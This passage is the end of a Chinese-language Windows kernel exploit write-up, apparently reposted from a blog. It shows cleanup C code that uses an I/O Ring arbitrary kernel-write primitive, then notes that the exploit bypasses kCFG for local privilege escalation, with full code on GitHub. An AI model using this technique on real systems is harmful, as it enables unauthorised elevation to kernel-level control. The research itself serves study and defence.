printf ( "[-] Failed to decrement refCount\n" );
}
}
else {
printf ( "[*] refCount <= 0\n" );
}
}
else {
printf ( "[-] Failed to read refCount\n" );
}
}
else {
printf ( "[-] Failed to open handle to current process.\n" );
}
auto towrite = malloc ( 16 );
memset (towrite, 0x0 , 16 );
printf ( "[*] Cleaning up...\n" );
printf ( "[*] Setting RegBuffersCount and RegBuffers to 0.\n" );
# ifdef _DEBUG
getchar();
# endif
if (!KWrite((PVOID)((DWORD64)ioringaddress + 0xb0), (PBYTE)towrite,16)) {
printf( "[-] cleanup failed during Kwrite64\n" );
}
puioring->RegBufferArray = NULL;
puioring->BufferArraySize = 0;
if (g_device != INVALID_HANDLE_VALUE) {
CloseHandle(g_device);
}
if (puioring != NULL) {
CloseIoRing((HIORING)puioring);
}
}
启动漏洞利用
现在我们可以运行漏洞利用程序,并注意到 我们成功地绕过 kCFG 提升了权限!
运行修改后的漏洞利用程序并获得本地权限提升 完整的漏洞利用代码可在 GitHub 仓库的 vbs 分支 中获取。
注意:在代码中我还添加了如何使用 gadget 来 仅提升令牌权限 的方法。只需取消注释 //#define TOKENPRIV 1
这一行即可测试。
结论
在本文中,我简要介绍了 HVCI 和 kCFG 安全缓解措施 以及它们对我们原始 漏洞利用 的影响。之后,我描述了一种 绕过 kCFG 的方法,并展示了如何 使用 I/O Ring 技术在内核空间获得任意读写原语 。最后,我展示了如何构建一个利用这种读写原语来 提升当前进程令牌权限 的漏洞利用程序。
致谢
感谢 Connor McGarr 发表关于 HVCI 和 Windows 内核其他安全缓解措施的博文。
感谢 Paolo Stagno 和 @tykawaii98 发表关于如何绕过 kCFG 的博文以及发现这个 gadget。
感谢 Yarden Shafir 发现并解释了用于获取任意读写的 I/O Ring 技术。
Resources
阅读原文
跳转微信打开